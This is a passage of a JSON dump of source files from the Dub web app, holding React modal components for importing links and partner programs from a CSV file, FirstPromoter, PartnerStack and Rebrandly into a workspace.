Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { slug } = useParams() as { slug?: string };\n  const { queryParams } = useRouterStuff();\n  const searchParams = useSearchParams();\n  const { id: workspaceId } = useWorkspace();\n\n  const { folderId } = useCurrentFolderId();\n\n  useEffect(\n    () => setShowImportCsvModal(searchParams?.get(\"import\") === \"csv\"),\n    [searchParams],\n  );\n\n  const {\n    control,\n    watch,\n    setValue,\n    handleSubmit,\n    reset,\n    formState: { isSubmitting, isValid },\n  } = useForm<ImportCsvFormData>({\n    defaultValues: {},\n  });\n\n  const [pageNumber, setPageNumber] = useState<number>(0);\n  const page = pages[pageNumber];\n\n  const [fileColumns, setFileColumns] = useState<string[] | null>(null);\n  const [firstRows, setFirstRows] = useState<Record<string, string>[] | null>(\n    null,\n  );\n\n  const file = watch(\"file\");\n\n  // Go to second page if file looks good\n  useEffect(() => {\n    if (file && fileColumns && pageNumber === 0) {\n      setPageNumber(1);\n    }\n  }, [file, fileColumns, pageNumber]);\n\n  return (\n    <Modal\n      showModal={showImportCsvModal}\n      setShowModal={setShowImportCsvModal}\n      className=\"max-h-[95dvh] max-w-lg\"\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center gap-x-3 py-4\">\n          <div className=\"flex size-10 items-center justify-center rounded-xl border border-neutral-200 bg-neutral-50\">\n            <TableIcon className=\"size-5\" />\n          </div>\n          <ArrowRight className=\"size-5 text-neutral-600\" />\n          <Logo className=\"size-10\" />\n        </div>\n        <h3 className=\"text-lg font-medium\">Import Links From a CSV File</h3>\n        <p className=\"text-balance text-center text-sm text-neutral-500\">\n          Easily import your links into Dub with just a few clicks.\n          <br />\n          Make sure your CSV file matches the{\" \"}\n          <a\n            href=\"https://dub.co/help/article/how-to-import-csv\"\n            target=\"_blank\"\n            className=\"cursor-help font-medium underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-800\"\n          >\n            required format\n          </a>\n          .\n        </p>\n      </div>\n\n      <div className=\"relative\">\n        {page === \"confirm-import\" && (\n          <div className=\"absolute inset-x-0 -top-6 mx-4 grid grid-cols-[1fr_min-content_1fr] items-center gap-x-4 gap-y-2 rounded-md border border-neutral-200 bg-white p-2 text-center text-sm font-medium uppercase text-neutral-600 sm:mx-12\">\n            <p>CSV data column</p>\n            <ArrowRight className=\"size-4 text-neutral-500\" />\n            <p>Dub data field</p>\n          </div>\n        )}\n\n        <AnimatedSizeContainer height>\n          <ImportCsvContext.Provider\n            value={{\n              fileColumns,\n              setFileColumns,\n              firstRows,\n              setFirstRows,\n              control,\n              watch,\n              setValue,\n            }}\n          >\n            <div className=\"flex flex-col gap-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-12\">\n              <form\n                onSubmit={handleSubmit(async (data) => {\n                  const loadingId = toast.loading(\n                    \"Adding links to import queue...\",\n                  );\n                  try {\n                    const formData = new FormData();\n                    formData.append(\"file\", data.file!);\n                    for (const key in data) {\n                      if (key !== \"file\" && data[key] !== null) {\n                        formData.append(key, data[key]);\n                      }\n                    }\n                    if (folderId) formData.append(\"folderId\", folderId);\n\n                    const res = await fetch(\n                      `/api/workspaces/${workspaceId}/import/csv`,\n                      {\n                        method: \"POST\",\n                        body: formData,\n                      },\n                    );\n\n                    if (!res.ok) throw new Error();\n\n                    router.push(\n                      `/${slug}/links${folderId ? `?folderId=${folderId}` : \"\"}`,\n                    );\n                    await Promise.all([\n                      mutatePrefix(\"/api/links\"),\n                      mutate(`/api/workspaces/${slug}`),\n                    ]);\n\n                    toast.success(\n                      \"Successfully added links to import queue! You can now safely navigate from this tab – we will send you an email when your links have been fully imported.\",\n                    );\n                  } catch (error) {\n                    toast.error(\"Error adding links to import queue\");\n                  } finally {\n                    toast.dismiss(loadingId);\n                  }\n                })}\n                className=\"flex flex-col gap-y-4\"\n              >\n                {page === \"select-file\" && <SelectFile />}\n\n                {page === \"confirm-import\" && (\n                  <>\n                    <FieldMapping />\n                    <Button\n                      text=\"Confirm import\"\n                      loading={isSubmitting}\n                      disabled={!isValid}\n                    />\n                    <button\n                      type=\"button\"\n                      className=\"-mt-1 text-center text-xs text-neutral-600 underline underline-offset-2 transition-colors hover:text-neutral-800\"\n                      onClick={() => {\n                        setPageNumber(0);\n                        reset();\n                        setFileColumns(null);\n                        setFirstRows(null);\n                      }}\n                    >\n                      Choose another file\n                    </button>\n                  </>\n                )}\n              </form>\n            </div>\n          </ImportCsvContext.Provider>\n        </AnimatedSizeContainer>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useImportCsvModal() {\n  const [showImportCsvModal, setShowImportCsvModal] = useState(false);\n\n  const ImportCsvModalCallback = useCallback(() => {\n    return (\n      <ImportCsvModal\n        showImportCsvModal={showImportCsvModal}\n        setShowImportCsvModal={setShowImportCsvModal}\n      />\n    );\n  }, [showImportCsvModal, setShowImportCsvModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportCsvModal,\n      ImportCsvModal: ImportCsvModalCallback,\n    }),\n    [setShowImportCsvModal, ImportCsvModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-csv-modal/select-file.tsx",
    "content": "import { FileUpload, LoadingSpinner } from \"@dub/ui\";\nimport { truncate } from \"@dub/utils\";\nimport Papa from \"papaparse\";\nimport { useEffect, useState } from \"react\";\nimport { Controller } from \"react-hook-form\";\nimport { useCsvContext } from \".\";\n\nconst MAX_ROWS_LIMIT = 50000;\n\nexport function SelectFile() {\n  const { watch, control, fileColumns, setFileColumns, setFirstRows } =\n    useCsvContext();\n\n  const file = watch(\"file\");\n  const [error, setError] = useState<string | null>(null);\n  const [isCountingRows, setIsCountingRows] = useState<boolean>(false);\n\n  useEffect(() => {\n    if (!file) {\n      setFileColumns(null);\n      return;\n    }\n\n    setIsCountingRows(true);\n    countCsvRows(file)\n      .then((rowCount) => {\n        if (rowCount > MAX_ROWS_LIMIT) {\n          setError(\n            `CSV file exceeds the maximum limit of ${MAX_ROWS_LIMIT.toLocaleString()} rows. Please split the file into multiple files and upload them separately.`,\n          );\n          setFileColumns(null);\n          setFirstRows(null);\n          return;\n        }\n\n        return readLines(file, 4).then((lines) => {\n          const { data, meta } = Papa.parse(lines, {\n            worker: false,\n            skipEmptyLines: true,\n            header: true,\n          });\n\n          if (!data || data.length < 2) {\n            setError(\"CSV file must have at least 2 rows.\");\n            setFileColumns(null);\n            setFirstRows(null);\n            return;\n          }\n\n          if (!meta || !meta.fields || meta.fields.length <= 1) {\n            setError(\"Failed to retrieve CSV column data.\");\n            setFileColumns(null);\n            setFirstRows(null);\n            return;\n          }\n\n          setFileColumns(meta.fields);\n          setFirstRows(data);\n        });\n      })\n      .catch(() => {\n        setError(\"Failed to read CSV file.\");\n        setFileColumns(null);\n        setFirstRows(null);\n      })\n      .finally(() => {\n        setIsCountingRows(false);\n      });\n  }, [file]);\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <Controller\n        name=\"file\"\n        control={control}\n        render={({ field: { value, onChange } }) => {\n          return (\n            <FileUpload\n              accept=\"csv\"\n              maxFileSizeMB={1}\n              onChange={({ file }) => onChange(file)}\n              content={\n                value\n                  ? truncate(value.name, 25)\n                  : \"Click or drag and drop a CSV file.\"\n              }\n              className=\"aspect-auto h-24\"\n              iconClassName=\"size-6\"\n            />\n          );\n        }}\n      />\n      {error ? (\n        <p className=\"text-center text-sm text-red-600\">{error}</p>\n      ) : fileColumns ? (\n        <p className=\"text-sm text-neutral-600\">\n          Columns found: {listColumns(fileColumns)}\n        </p>\n      ) : file ? (\n        <div className=\"flex items-center justify-center\">\n          <LoadingSpinner />\n          {isCountingRows && (\n            <p className=\"ml-2 text-sm text-neutral-600\">\n              Validating file size...\n            </p>\n          )}\n        </div>\n      ) : null}\n    </div>\n  );\n}\n\nconst maxColumns = 4;\n\nconst listColumns = (columns: string[]) => {\n  const eachTruncated = columns.map((column) => truncate(column, 16));\n  const allTruncated =\n    eachTruncated.length <= maxColumns\n      ? eachTruncated\n      : eachTruncated\n          .slice(0, maxColumns)\n          .concat(`and ${eachTruncated.length - maxColumns} more`);\n  return allTruncated.join(\", \");\n};\n\nconst countCsvRows = async (file: File): Promise<number> => {\n  return new Promise((resolve, reject) => {\n    let rowCount = 0;\n\n    Papa.parse(file, {\n      worker: true,\n      skipEmptyLines: true,\n      step: () => {\n        rowCount++;\n      },\n      complete: () => {\n        resolve(rowCount);\n      },\n      error: (error) => {\n        reject(error);\n      },\n    });\n  });\n};\n\nconst readLines = async (file: File, count = 4): Promise<string> => {\n  const reader = file.stream().getReader();\n  const decoder = new TextDecoder(\"utf-8\");\n  let { value: chunk, done: readerDone } = await reader.read();\n  let content = \"\";\n  let result = [];\n  while (!readerDone) {\n    content += decoder.decode(chunk, { stream: true });\n    const lines = content.split(\"\\n\");\n    if (lines.length >= count) {\n      reader.cancel();\n      return lines.slice(0, count).join(\"\\n\");\n    }\n    ({ value: chunk, done: readerDone } = await reader.read());\n  }\n  return result.join(\"\\n\");\n};\n"
  },
  {
    "path": "apps/web/ui/modals/import-firstpromoter-modal.tsx",
    "content": "import { startFirstPromoterImportAction } from \"@/lib/actions/partners/start-firstpromoter-import\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Logo, Modal, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { ArrowRight } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\nfunction ImportFirstPromoterModal({\n  showImportFirstPromoterModal,\n  setShowImportFirstPromoterModal,\n}: {\n  showImportFirstPromoterModal: boolean;\n  setShowImportFirstPromoterModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { queryParams } = useRouterStuff();\n  const searchParams = useSearchParams();\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"firstpromoter\") {\n      setShowImportFirstPromoterModal(true);\n    } else {\n      setShowImportFirstPromoterModal(false);\n    }\n  }, [searchParams]);\n\n  return (\n    <Modal\n      showModal={showImportFirstPromoterModal}\n      setShowModal={setShowImportFirstPromoterModal}\n      onClose={() => queryParams({ del: \"import\" })}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/firstpromoter.svg\"\n            alt=\"FirstPromoter logo\"\n            className=\"h-10 w-10 rounded-full\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">\n          Import your FirstPromoter campaign\n        </h3>\n        <MarkdownDescription className=\"text-center text-sm text-neutral-500\">\n          [Migrate your existing FirstPromoter\n          campaign](https://dub.co/help/article/migrating-from-firstpromoter),\n          partners, and historical stats into Dub.\n        </MarkdownDescription>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <CredentialsForm\n          onClose={() => {\n            setShowImportFirstPromoterModal(false);\n            queryParams({\n              del: \"import\",\n            });\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nfunction CredentialsForm({ onClose }: { onClose: () => void }) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const [apiKey, setApiKey] = useState(\"\");\n  const [accountId, setAccountId] = useState(\"\");\n\n  const { executeAsync: startImport, isPending: isStartingImport } = useAction(\n    startFirstPromoterImportAction,\n    {\n      onSuccess: () => {\n        onClose();\n        toast.success(\n          \"Successfully started FirstPromoter import. We'll email you when it's complete.\",\n        );\n        router.push(`/${slug}/program/partners`);\n      },\n      onError: ({ error }) => toast.error(error.serverError),\n    },\n  );\n\n  const onSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId || !apiKey || !accountId) {\n      return;\n    }\n\n    await startImport({\n      workspaceId,\n      apiKey,\n      accountId,\n    });\n  };\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-4\">\n      <div>\n        <label\n          htmlFor=\"apiKey\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          FirstPromoter API Key\n        </label>\n        <input\n          type=\"password\"\n          id=\"apiKey\"\n          value={apiKey}\n          autoFocus={!isMobile}\n          onChange={(e) => setApiKey(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n        <p className=\"mt-1.5 text-xs text-neutral-500\">\n          Find your FirstPromoter API key in{\" \"}\n          <a\n            href=\"https://app.firstpromoter.com/settings/integrations\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-blue-500 hover:text-blue-600\"\n          >\n            Settings\n          </a>\n        </p>\n      </div>\n      <div>\n        <label\n          htmlFor=\"accountId\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          FirstPromoter Account ID\n        </label>\n        <input\n          type=\"text\"\n          id=\"accountId\"\n          value={accountId}\n          onChange={(e) => setAccountId(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n        <p className=\"mt-1.5 text-xs text-neutral-500\">\n          Find your FirstPromoter Account ID in{\" \"}\n          <a\n            href=\"https://app.firstpromoter.com/settings/integrations\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-blue-500 hover:text-blue-600\"\n          >\n            Settings\n          </a>\n        </p>\n      </div>\n      <Button\n        text={isStartingImport ? \"Starting import...\" : \"Start Import\"}\n        loading={isStartingImport}\n        disabled={!apiKey || !accountId || !workspaceId}\n      />\n    </form>\n  );\n}\n\nexport function useImportFirstPromoterModal() {\n  const [showImportFirstPromoterModal, setShowImportFirstPromoterModal] =\n    useState(false);\n\n  const ImportFirstPromoterModalCallback = useCallback(() => {\n    return (\n      <ImportFirstPromoterModal\n        showImportFirstPromoterModal={showImportFirstPromoterModal}\n        setShowImportFirstPromoterModal={setShowImportFirstPromoterModal}\n      />\n    );\n  }, [showImportFirstPromoterModal, setShowImportFirstPromoterModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportFirstPromoterModal,\n      ImportFirstPromoterModal: ImportFirstPromoterModalCallback,\n    }),\n    [setShowImportFirstPromoterModal, ImportFirstPromoterModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-partnerstack-modal.tsx",
    "content": "import { startPartnerStackImportAction } from \"@/lib/actions/partners/start-partnerstack-import\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Logo, Modal, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { ArrowRight } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\nfunction ImportPartnerStackModal({\n  showImportPartnerStackModal,\n  setShowImportPartnerStackModal,\n}: {\n  showImportPartnerStackModal: boolean;\n  setShowImportPartnerStackModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"partnerstack\") {\n      setShowImportPartnerStackModal(true);\n    } else {\n      setShowImportPartnerStackModal(false);\n    }\n  }, [searchParams]);\n\n  return (\n    <Modal\n      showModal={showImportPartnerStackModal}\n      setShowModal={setShowImportPartnerStackModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/partnerstack.svg\"\n            alt=\"PartnerStack logo\"\n            className=\"h-10 w-10 rounded-full\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">\n          Import your PartnerStack program\n        </h3>\n        <MarkdownDescription className=\"text-center text-sm text-neutral-500\">\n          [Migrate your existing PartnerStack\n          program](https://dub.co/help/article/migrating-from-partnerstack),\n          partners, and historical stats into Dub.\n        </MarkdownDescription>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <TokenForm\n          onClose={() => {\n            setShowImportPartnerStackModal(false);\n            queryParams({\n              del: \"import\",\n            });\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nfunction TokenForm({ onClose }: { onClose: () => void }) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const [publicKey, setPublicKey] = useState(\"\");\n  const [secretKey, setSecretKey] = useState(\"\");\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { executeAsync, isPending } = useAction(startPartnerStackImportAction, {\n    onSuccess: () => {\n      onClose();\n      toast.success(\n        \"Successfully added program to import queue! We will send you an email when your program has been fully imported.\",\n      );\n      router.push(`/${slug}/program/partners`);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId || !publicKey || !secretKey) {\n      toast.error(\"Please fill in all required fields.\");\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      publicKey,\n      secretKey,\n    });\n  };\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-4\">\n      <div>\n        <label\n          htmlFor=\"publicKey\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          PartnerStack Public Key\n        </label>\n        <input\n          type=\"password\"\n          id=\"publicKey\"\n          value={publicKey}\n          autoFocus={!isMobile}\n          onChange={(e) => setPublicKey(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n        <p className=\"mt-1.5 text-xs text-neutral-500\">\n          You can find your PartnerStack API key in your{\" \"}\n          <a\n            href=\"https://app.partnerstack.com/settings/integrations\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-blue-500 hover:text-blue-600\"\n          >\n            Settings\n          </a>\n        </p>\n      </div>\n\n      <div>\n        <label\n          htmlFor=\"secretKey\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          PartnerStack Secret Key\n        </label>\n        <input\n          type=\"password\"\n          id=\"secretKey\"\n          value={secretKey}\n          onChange={(e) => setSecretKey(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n      </div>\n\n      <Button\n        text={isPending ? \"Starting import...\" : \"Start Import\"}\n        loading={isPending}\n        disabled={!publicKey || !secretKey}\n      />\n    </form>\n  );\n}\n\nexport function useImportPartnerStackModal() {\n  const [showImportPartnerStackModal, setShowImportPartnerStackModal] =\n    useState(false);\n\n  const ImportPartnerStackModalCallback = useCallback(\n    () => (\n      <ImportPartnerStackModal\n        showImportPartnerStackModal={showImportPartnerStackModal}\n        setShowImportPartnerStackModal={setShowImportPartnerStackModal}\n      />\n    ),\n    [showImportPartnerStackModal],\n  );\n\n  return {\n    showImportPartnerStackModal,\n    setShowImportPartnerStackModal,\n    ImportPartnerStackModal: ImportPartnerStackModalCallback,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-rebrandly-modal.tsx",
    "content": "import useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ImportedDomainCountProps } from \"@/lib/types\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  InfoTooltip,\n  LoadingSpinner,\n  Logo,\n  Modal,\n  SmartDateTimePicker,\n  Switch,\n  useMediaQuery,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { fetcher, nFormatter } from \"@dub/utils\";\nimport { ArrowRight, ChevronDown } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\n\nfunction ImportRebrandlyModal({\n  showImportRebrandlyModal,\n  setShowImportRebrandlyModal,\n}: {\n  showImportRebrandlyModal: boolean;\n  setShowImportRebrandlyModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { id: workspaceId, slug } = useWorkspace();\n  const searchParams = useSearchParams();\n\n  const { folderId } = useCurrentFolderId();\n\n  const {\n    data: { domains, tagsCount } = {\n      domains: null,\n      tagsCount: null,\n    },\n    isLoading,\n    mutate,\n  } = useSWRImmutable<{\n    domains: ImportedDomainCountProps[] | null;\n    tagsCount: number | null;\n  }>(\n    workspaceId &&\n      showImportRebrandlyModal &&\n      `/api/workspaces/${workspaceId}/import/rebrandly`,\n    fetcher,\n    {\n      onError: (err) => {\n        if (err.message !== \"No Rebrandly access token found\") {\n          toast.error(err.message);\n        }\n      },\n    },\n  );\n\n  const [submitting, setSubmitting] = useState(false);\n\n  const [selectedDomains, setSelectedDomains] = useState<\n    ImportedDomainCountProps[]\n  >([]);\n  const [importTags, setImportTags] = useState<boolean>(false);\n  const [createdAfter, setCreatedAfter] = useState<Date | null>(null);\n  const [showAdvancedOptions, setShowAdvancedOptions] = useState(false);\n\n  const [importing, setImporting] = useState(false);\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"rebrandly\") {\n      mutate();\n      setShowImportRebrandlyModal(true);\n    } else {\n      setShowImportRebrandlyModal(false);\n    }\n  }, [searchParams]);\n\n  const isSelected = (domain: string) => {\n    return selectedDomains.find((d) => d.domain === domain) ? true : false;\n  };\n\n  const { queryParams } = useRouterStuff();\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <Modal\n      showModal={showImportRebrandlyModal}\n      setShowModal={setShowImportRebrandlyModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/rebrandly.svg\"\n            alt=\"Rebrandly logo\"\n            className=\"h-12 w-12\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">Import Your Rebrandly Links</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Easily import all your existing Rebrandly links into{\" \"}\n          {process.env.NEXT_PUBLIC_APP_NAME} with just a few clicks.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        {isLoading || !workspaceId ? (\n          <div className=\"flex flex-col items-center justify-center space-y-4 bg-none\">\n            <LoadingSpinner />\n            <p className=\"text-sm text-neutral-500\">Connecting to Rebrandly</p>\n          </div>\n        ) : domains ? (\n          <form\n            onSubmit={async (e) => {\n              e.preventDefault();\n              setImporting(true);\n              toast.promise(\n                fetch(`/api/workspaces/${workspaceId}/import/rebrandly`, {\n                  method: \"POST\",\n                  headers: {\n                    \"Content-Type\": \"application/json\",\n                  },\n                  body: JSON.stringify({\n                    selectedDomains,\n                    importTags,\n                    ...(folderId && { folderId }),\n                    ...(createdAfter && {\n                      createdAfter: createdAfter.toISOString(),\n                    }),\n                  }),\n                }).then(async (res) => {\n                  if (res.ok) {\n                    await mutate();\n                    router.push(\n                      `/${slug}/links${folderId ? `?folderId=${folderId}` : \"\"}`,\n                    );\n                  } else {\n                    setImporting(false);\n                    throw new Error();\n                  }\n                }),\n                {\n                  loading: \"Adding links to import queue...\",\n                  success:\n                    \"Successfully added links to import queue! You can now safely navigate from this tab – we will send you an email when your links have been fully imported.\",\n                  error: \"Error adding links to import queue\",\n                },\n              );\n            }}\n            className=\"flex flex-col space-y-4\"\n          >\n            <div className=\"flex flex-col space-y-2\">\n              <p className=\"text-sm font-medium text-neutral-700\">Domains</p>\n              {domains.map(({ id, domain, links }) => (\n                <div className=\"flex items-center justify-between space-x-2 rounded-md border border-neutral-200 bg-white px-4 py-2\">\n                  <div>\n                    <p className=\"font-medium text-neutral-800\">{domain}</p>\n                    {links > 0 && (\n                      <p className=\"text-xs text-neutral-500\">\n                        {nFormatter(links)} links found\n                      </p>\n                    )}\n                  </div>\n                  <Switch\n                    fn={() => {\n                      const selected = isSelected(domain);\n                      if (selected) {\n                        setSelectedDomains((prev) =>\n                          prev.filter((d) => d.domain !== domain),\n                        );\n                      } else {\n                        setSelectedDomains((prev) => [\n                          ...prev,\n                          {\n                            id,\n                            domain,\n                            links,\n                          },\n                        ]);\n                      }\n                    }}\n                    checked={isSelected(domain)}\n                  />\n                </div>\n              ))}\n              {tagsCount && (\n                <div className=\"flex items-center justify-between space-x-2 rounded-md py-1 pl-2 pr-4\">\n                  <p className=\"text-xs text-neutral-500\">\n                    {tagsCount} tags found. Import all?\n                  </p>\n                  <Switch\n                    fn={() => setImportTags(!importTags)}\n                    checked={importTags}\n                  />\n                </div>\n              )}\n            </div>\n\n            {/* Advanced Settings */}\n            <div className=\"flex flex-col border-t border-neutral-200 pt-4\">\n              <button\n                type=\"button\"\n                className=\"flex w-full items-center gap-2\"\n                onClick={() => setShowAdvancedOptions(!showAdvancedOptions)}\n              >\n                <p className=\"text-sm text-neutral-600\">\n                  {showAdvancedOptions ? \"Hide\" : \"Show\"} advanced settings\n                </p>\n                <motion.div\n                  animate={{ rotate: showAdvancedOptions ? 180 : 0 }}\n                  className=\"text-neutral-600\"\n                >\n                  <ChevronDown className=\"size-4\" />\n                </motion.div>\n              </button>\n\n              <AnimatedSizeContainer height className=\"flex flex-col\">\n                {showAdvancedOptions && (\n                  <div className=\"mt-4 p-px\">\n                    <SmartDateTimePicker\n                      value={createdAfter}\n                      onChange={(date) => setCreatedAfter(date)}\n                      label=\"Only import links created after\"\n                      placeholder=\"Select date (optional)\"\n                    />\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n            </div>\n\n            <Button\n              text=\"Confirm import\"\n              loading={importing}\n              disabled={selectedDomains.length === 0}\n            />\n          </form>\n        ) : (\n          // form to add API key to redis manually\n          <form\n            onSubmit={async (e) => {\n              e.preventDefault();\n              setSubmitting(true);\n              fetch(`/api/workspaces/${workspaceId}/import/rebrandly`, {\n                method: \"PUT\",\n                headers: {\n                  \"Content-Type\": \"application/json\",\n                },\n                body: JSON.stringify({\n                  apiKey: e.currentTarget.apiKey.value,\n                }),\n              }).then(async (res) => {\n                if (res.ok) {\n                  await mutate();\n                  toast.success(\"Successfully added API key\");\n                } else {\n                  toast.error(\"Error adding API key\");\n                }\n                setSubmitting(false);\n              });\n            }}\n            className=\"flex flex-col space-y-4\"\n          >\n            <div>\n              <div className=\"flex items-center space-x-2\">\n                <h2 className=\"text-sm font-medium text-neutral-900\">\n                  Rebrandly API Key\n                </h2>\n                <InfoTooltip\n                  content={`Your Rebrandly API Key can be found in your Rebrandly account under [Account > API](https://app.rebrandly.com/account/api)`}\n                />\n              </div>\n              <input\n                id=\"apiKey\"\n                name=\"apiKey\"\n                autoFocus={!isMobile}\n                type=\"text\"\n                placeholder=\"93467061146a64622df83c12bcc0bffb\"\n                autoComplete=\"off\"\n                required\n                className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n              />\n            </div>\n            <Button text=\"Confirm API Key\" loading={submitting} />\n          </form>\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nexport function useImportRebrandlyModal() {\n  const [showImportRebrandlyModal, setShowImportRebrandlyModal] =\n    useState(false);\n\n  const ImportRebrandlyModalCallback = useCallback(() => {\n    return (\n      <ImportRebrandlyModal\n        showImportRebrandlyModal={showImportRebrandlyModal}\n        setShowImportRebrandlyModal={setShowImportRebrandlyModal}\n      />\n    );\n  }, [showImportRebrandlyModal, setShowImportRebrandlyModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportRebrandlyModal,\n      ImportRebrandlyModal: ImportRebrandlyModalCallback,\n    }),\n    [setShowImportRebrandlyModal, ImportRebrandlyModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-rewardful-modal.tsx",
